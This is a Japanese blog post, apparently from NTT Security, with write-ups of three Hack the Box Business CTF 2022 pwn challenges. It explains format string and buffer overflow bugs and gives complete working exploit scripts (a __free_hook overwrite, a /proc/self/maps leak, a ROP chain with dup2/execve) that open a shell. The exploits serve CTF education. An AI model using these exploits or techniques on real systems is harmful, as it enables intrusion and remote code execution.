はじめに
はじめまして、IRチームの鈴木です。普段の業務では主にマルウェア解析やレッドチームを担当しています。今回は2022年7月16日に開催されたHack the Box Business CTF 2022にNTT Securityの一員として参加してきたので、出題されたpwn問題について解説したいと思います。
Payback
問題の概要
ボットネットの司令サーバとそのソースコードを発見したので、サーバプログラムのバグを突いて侵入しようというストーリーの問題です。(関数名や表示される文字列にそれらしい単語が含まれているだけで、ボットネットに相当する機能はありません。)
対象のプログラムは実行すると以下のようなメニューから機能を選んで使う形式になっています。
攻撃対象のバグ
ボットを消す機能にフォーマット文字列のバグがあり、ユーザの入力した文字列をそのままprintf関数に渡してしまっています。
実際に%xのようなフォーマット文字列を入力してみると、下図のようにプログラマの意図しない領域のデータを表示しています。
攻撃者が制御可能なデータが何番目に参照されるかを簡単に調べるため、printfにABCDEFGH.%lx.%lx.%lx.%lx.%lx.%lx....のような文字列を渡します。すると、下図のような出力になり、入力した文字列の先頭8バイトはフォーマット文字列で8番目に参照されるデータということがわかりました。
攻撃の方針
まずはフォーマット文字列バグを使ってlibcのアドレスをリークします。main関数はlibc_start_mainから呼び出されるのでスタックにlibc_start_mainへの戻りアドレスがあるはずです。printfを呼び出す直前のスタック上でlibc_start_mainへの戻りアドレスを探してみると、下図に示したようにrsp+0xe8の位置にありました。
入力した文字列の先頭はフォーマット文字列から8番目に参照されるデータで、rsp+0x10の位置にあり、スタック上のデータは8バイトずつフォーマット文字列の引数として使われるので、(0xe8-0x10)/8+8を計算すればこの戻りアドレスがフォーマット文字列で何番目に参照されるかがわかります。
計算して実際に試してみると下図のようにlibc_start_main+243のアドレスがリークできました。
libcのリークはできたので、書き込み先を考えます。今回の問題バイナリはGlobal Offset Tableが読み込み専用なので、__free_hookを使います。書き込む際はヌル文字でprintfが止まってしまうことを防ぐため、アドレスをフォーマット文字列の後に置くようにします。
エクスプロイト
最終的に完成したエクスプロイトは以下になります。(実行するにはpython3のpwntoolsが必要です)
#!/usr/bin/env python3
from pwn import *
libc_file = './libc.so.6'
libc = ELF(libc_file)
def p64x(*nums):
data = b''
for num in nums:
data += p64(num)
return data
def add(r, url, port):
r.sendlineafter(b'>> ', b'1')
r.sendlineafter(b'URL: ', url)
r.sendlineafter(b'(0-65535): ', str(port).encode())
r.recvuntil(b'Id: ')
bot_id = int(r.recvuntil(b',')[:-1])
return bot_id
def delete(r, bot_id, reason):
assert len(reason)
r.sendlineafter(b'>> ', b'3')
r.sendlineafter(b'id: ', str(bot_id).encode())
r.sendafter(b'deletion: ', reason)
r.recvuntil(b'Reason: \n')
data = r.recvuntil(b'\n')
return data
def main():
libc_leak_sample = 0x7f6c0b8a80b3
libc_base_sample = 0x7f6c0b884000
fmt_top_idx = 8
fmt_top_offset = 0x10
libc_start_main_offset = 0xe8
r = remote('172.17.0.2', 1337)
dummy = add(r, b'a', 100)
leak_libc_fmt = '%{}$llx'.format((libc_start_main_offset - fmt_top_offset) // 8 + fmt_top_idx).encode()
data = delete(r, dummy, leak_libc_fmt)
libc_leak = int(data, 16)
libc_base = libc_leak - libc_leak_sample + libc_base_sample
log.info('libc_leak = ' + hex(libc_leak))
log.info('libc_base = ' + hex(libc_base))
dummy = add(r, b'b', 200)
trigger = add(r, b'/bin/sh', 300)
padlen = 72
libc_system = libc_base + libc.symbols['system']
libc_hook = libc_base + libc.symbols['__free_hook']
log.info('libc_system = ' + hex(libc_system))
log.info('libc_hook = ' + hex(libc_hook))
write_fmt = '%{}c%{}$hhn%{}c%{}$hhn%{}c%{}$hhn%{}c%{}$hhn%{}c%{}$hhn%{}c%{}$hhn'.format(
(libc_system>> 0) % 256, fmt_top_idx + padlen // 8,
(libc_system>> 8) % 256 - (libc_system>> 0) % 256 + 256, fmt_top_idx + padlen // 8 + 1,
(libc_system>>16) % 256 - (libc_system>> 8) % 256 + 256, fmt_top_idx + padlen // 8 + 2,
(libc_system>>24) % 256 - (libc_system>>16) % 256 + 256, fmt_top_idx + padlen // 8 + 3,
(libc_system>>32) % 256 - (libc_system>>24) % 256 + 256, fmt_top_idx + padlen // 8 + 4,
(libc_system>>40) % 256 - (libc_system>>32) % 256 + 256, fmt_top_idx + padlen // 8 + 5,
).encode()
write_fmt = write_fmt.ljust(padlen, b'A')
write_fmt += p64x(libc_hook, libc_hook + 1, libc_hook + 2, libc_hook + 3, libc_hook + 4, libc_hook + 5)
delete(r, dummy, write_fmt)
# free("/bin/sh") => system("/bin/sh")
r.sendlineafter(b'>> ', b'3')
r.sendlineafter(b'id: ', str(trigger).encode())
r.sendlineafter(b'deletion: ', b'')
r.sendline(b'id; ls; cat flag.txt')
r.interactive()
if __name__ == '__main__':
main()
実際に実行してみると下図のようにidやlsなどのコマンドを実行できていることがわかります。
Insider
概要
攻撃対象のサーバで独自実装のFTPサーバらしきものが動いているのでそれをエクスプロイトする問題です。バイナリはありますが、ソースコードは与えられていないので、まずはリバースエンジニアリングして、どこにバグがあるのかを特定する必要があります。
解析
IDA Proで解析すると、ループの最初で文字列を受け取り、文字列の最初の部分がどのコマンドと一致するかを調べて、各機能に分岐するという構造になっているようです。(図中の一部の変数名や関数名は私が適当につけています。)
ログインしないとほとんどの機能は使えないようになっていますが、ユーザ名とパスワードは";)"と単純比較されているだけで、簡単にログインできました。
バグ
BKDRという謎のコマンドが実装されており、この機能の中で"%d "とユーザの入力を結合した文字列をprintf関数に渡しているので、フォーマット文字列バグが発生しています。
方針
フォーマット文字列バグによりアドレスのリークが可能ですが、今回はRETRコマンドによって対象サーバ上のファイルを読むことが可能なので、これを使って/proc/self/mapsを読んでlibcのベースアドレスを特定します。この機能でフラグファイルを直接読むことも考えましたが、この問題ではフラグファイルが単純に置かれている形式ではなく、対象サーバ上のフラグ入手プログラムを実行する形式だったので、フラグを直接読むことはできませんでした。
アドレスのリークは解決したので、フォーマット文字列バグを使ってどこを書き換えるかを考えます。今回も__free_hookにsystemのアドレスを書き込みます。SIZEコマンドの最後に引数として入力したパスをfreeするようになっているので、あらかじめ__free_hookにsystemのアドレスを書き込んでおけば、SIZEコマンドの引数に/bin/shを指定するだけでシェルをとることができます。
エクスプロイト
完成したエクスプロイトがこちらになります。
#!/usr/bin/env python3
from pwn import *
binary_file = './chall'
libc_file = './libc.so.6'
binary = ELF(binary_file)
libc = ELF(libc_file)
def p64x(*nums):
data = b''
for num in nums:
data += p64(num)
return data
def command(r, s):
r.sendline(s)
reply = r.recvuntil('\n')
print(s)
print(reply)
return reply
def main():
fmt_top_gdb = 0x007fffffffa6c8
stack_top_gdb = 0x007fffffff86c0
stack_top_idx = 6
padlen = 96
fmt_top_idx = stack_top_idx + (fmt_top_gdb - stack_top_gdb) // 8
r = remote('172.17.0.2', 1337)
r.recvuntil(b'\n')
command(r, b'user ;)')
command(r, b'pass ;)')
r.sendline(b'retr /proc/self/maps')
data = r.recvuntil(b'completed \r\n')
for line in data.split(b'\n'):
if line.endswith(b'libc.so.6'):
libc_base = int(line.split(b'-')[0], 16)
break
log.info('libc_base = ' + hex(libc_base))
libc_system = libc_base + libc.symbols['system']
libc_hook = libc_base + libc.symbols['__free_hook']
log.info('libc_system = ' + hex(libc_system))
write_fmt = ''
pre = 12
for i in range(6):
nprint = (libc_system >> (i*8)) % 256 - pre % 256 + 256
pre = (libc_system >> (i * 8)) % 256
write_fmt += '%{}c%{}$hhn'.format(nprint, fmt_top_idx + padlen // 8 + i)
write_fmt = write_fmt.ljust(padlen, 'a').encode()
write_fmt += p64x(libc_hook, libc_hook+1, libc_hook+2, libc_hook+3, libc_hook+4, libc_hook+5)
print(write_fmt)
r.sendline(b'bkdr ' + write_fmt)
r.sendline(b'size /bin/sh')
r.interactive()
if __name__ == '__main__':
main()
Superfast
概要
攻撃対象はWebサーバで、バックエンドのphpにCで書かれたphpのモジュールが入っていて、このモジュールの部分とindex.phpのソースコードが与えられています。
バグ
memcpyの直前の条件分岐で入力された文字列の長さがコピー先のバッファより短いことを確認していますが、符号なし整数どうしの引き算をしているので結果も符号なし整数になります。つまり、入力された文字列のほうが長くても結果が正になってしまい、memcpyが実行されてしまいます。これによって、バッファオーバーフローが起きます。
方針
バグがあるモジュールはphpのライブラリとして読み込まれていて、メインのバイナリはphpです。モジュールにcanaryがないのでバッファオーバーフローで戻りアドレスを書き換えられますが、phpのバイナリがPIE(Position Independent Executable)としてコンパイルされていて、実行時に毎回アドレスが変わるため、ジャンプ先に使える絶対アドレスがありません。
そこで、アドレスの下位12bitはランダム化されないことを利用して、元の戻りアドレスを1バイトだけ書き換えて何かできないかを考えます。
バッファオーバーフローがあるのはdecrypt関数で、decrypt関数はzif_log_cmd関数(PHP_FUNCTION(log_cmd)がマクロで変換された名前)から呼び出されます。つまり、バッファオーバーフローで書き換える戻りアドレスはzif_log_cmdでdecryptを呼び出した直後のアドレスになっています。"abbbb..."のような文字列を与えたとき、decrypt関数から戻ってくる直前のレジスタやスタックの状態は下図のようになっています。
ここで注目したいのはRDIレジスタに入力した文字列の先頭のアドレスが入っているということです。RDIレジスタは関数を呼び出す際に第1引数を格納するレジスタで、このままprintfのような関数にジャンプすれば、printf("abbbb...")のように入力した文字列をprintf関数に渡して実行できます。
次にもとの戻りアドレス周辺の命令列を確認します。以下の図はzif_log_cmdを逆アセンブルしたものです。
この図を見ると、もとの戻りアドレスから近いところにprint_message関数を呼び出している命令があることがわかります。print_message関数はソースコードを見るとprintfのラッパーのようです。戻りアドレスとこのcall命令のアドレスを見比べると下位1バイトしか違いがないので、バッファオーバーフローで1バイトだけ戻りアドレスを書き換えれば、ここに到達できそうです。
このcall命令はソースコードで示すと下図の枠で囲んだ部分です。
これで、printf関数に任意の文字列を渡して、フォーマット文字列バグのようにアドレスをリークすることができます。
次にスタックのどこにアドレスが格納されているかを確認します。decrypt関数から戻ってくる直前のスタックを見ると、モジュールがphpから呼び出されたときの戻りアドレスが格納されていることがわかります。
この問題の環境ではプロセスをクラッシュさせない限りはphpのプロセスを立ち上げ直さないので、1回目のリクエストでこの値をリークすれば、2回目のリクエストでバッファオーバーフローさせるときにphpに含まれるコードがすべて利用可能になります。
最後にphpのバイナリに含まれる命令列をどう組み合わせて任意コード実行を行うか考えます。今回の問題ではCTFによくあるxinetdではなく、問題のphpのバイナリがソケットを使ってこちら側と通信しています。問題バイナリがソケットを使っている場合、標準入出力はサーバのコンソールにつながっていて、そのまま/bin/shを立ち上げたとしても、こちらから操作することはできません。これを解決するには通信に使われているファイルディスクリプタを標準入出力につなぎ直す必要があるのですが、このような操作を行うのに便利なシステムコールとしてdup2があります。問題のphpバイナリに含まれるsyscall命令は直後にret命令がないため使いにくいですが、幸い問題のphpバイナリがdup2のPLTエントリを持っていたので、dup2でファイルディスクリプタをつなぎ直して、syscallでexecveを呼び出せばシェルが取れそうです。
まとめると、
- "%lx.%lx.%lx....\x40"のようなデータを送り、バッファオーバーフローを引き起こしてprintfを呼び出し、phpのアドレスをリークする
- dup2(sock,0)=>dup2(sock,1)=>dup2(sock,2)=>execve("/bin/sh",0,0)のようなROPチェーンを作り、バッファオーバーフローでこれを実行させる
エクスプロイト
完成したエクスプロイトがこちらになります。
#!/usr/bin/env python3
import requests
import sys
import struct
import urllib
import socket
from telnetlib import Telnet
from time import sleep
def p64(x):
return struct.pack(chr(0x3c)+'Q', x)
def p64x(*nums):
data = b''
for x in nums:
data += p64(x)
return data
def encrypt(payload, key):
assert 0
encrypted = b''
for c in payload[:64]:
encrypted += (c ^ key).to_bytes(1, 'little')
return encrypted + payload[64:]
def main(host, port, sock_fd):
php_base_sample = 0x555555400000
php_leak_sample = 0x5555559900a3
pop_rdi = 0x20816b
pop_rsi = 0x2043fc
pop_rdx = 0x20487c
pop_rax = 0x208d99
binsh = 0x903fc3
syscall = 0x218481 # no return
dup2 = 0x201be0
key = 0x1
payload = b'%x.' * 18 + b'P>%lx.'
payload = payload.ljust(0x98, b'b')
payload += b'\x40'
print(payload)
res = requests.get('http://{}:{}/?cmd='.format(host, port) + urllib.parse.quote(encrypt(payload, key)), headers={"CMD_KEY": str(key)})
print(res)
for s in res.text.split('.'):
if s[0:2] == 'P>':
php_leak = int(s[2:], 16)
php_base = php_leak - php_leak_sample + php_base_sample
print('php_base = ' + hex(php_base))
base = php_base
key2 = 0x1
payload2 = b'd' * 0x98
payload2 += p64x(pop_rdi + base, sock_fd)
payload2 += p64x(pop_rsi + base, 0)
payload2 += p64x(dup2 + base)
payload2 += p64x(pop_rdi + base, sock_fd)
payload2 += p64x(pop_rsi + base, 1)
payload2 += p64x(dup2 + base)
payload2 += p64x(pop_rdi + base, sock_fd)
payload2 += p64x(pop_rsi + base, 2)
payload2 += p64x(dup2 + base)
payload2 += p64x(pop_rdi + base, binsh + base)
payload2 += p64x(pop_rsi + base, 0)
payload2 += p64x(pop_rdx + base, 0)
payload2 += p64x(pop_rax + base, 59)
payload2 += p64x(syscall + base)
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((host, port))
sock.send('GET /?cmd={} HTTP/1.1\r\nHost:{}\r\nCMD_KEY:{}\r\n\r\n'.format(urllib.parse.quote(encrypt(payload2, key2)), host, str(key2)).encode())
tel = Telnet()
tel.sock = sock
tel.interact()
sock.close()
if __name__ == '__main__':
main('172.17.0.2', 1337, 4)
おわりに
今回はHack the Box Business CTF 2022で出題されたpwn問題について解説させていただきました。紹介した問題はフォーマット文字列関係が多かったですが、それ以外にはFirefoxやWindowsカーネルのエクスプロイトが出題されていて、全体としては去年と比べて格段に難易度が上がっていたと思います。Firefox問については後日また解説記事を出す予定です。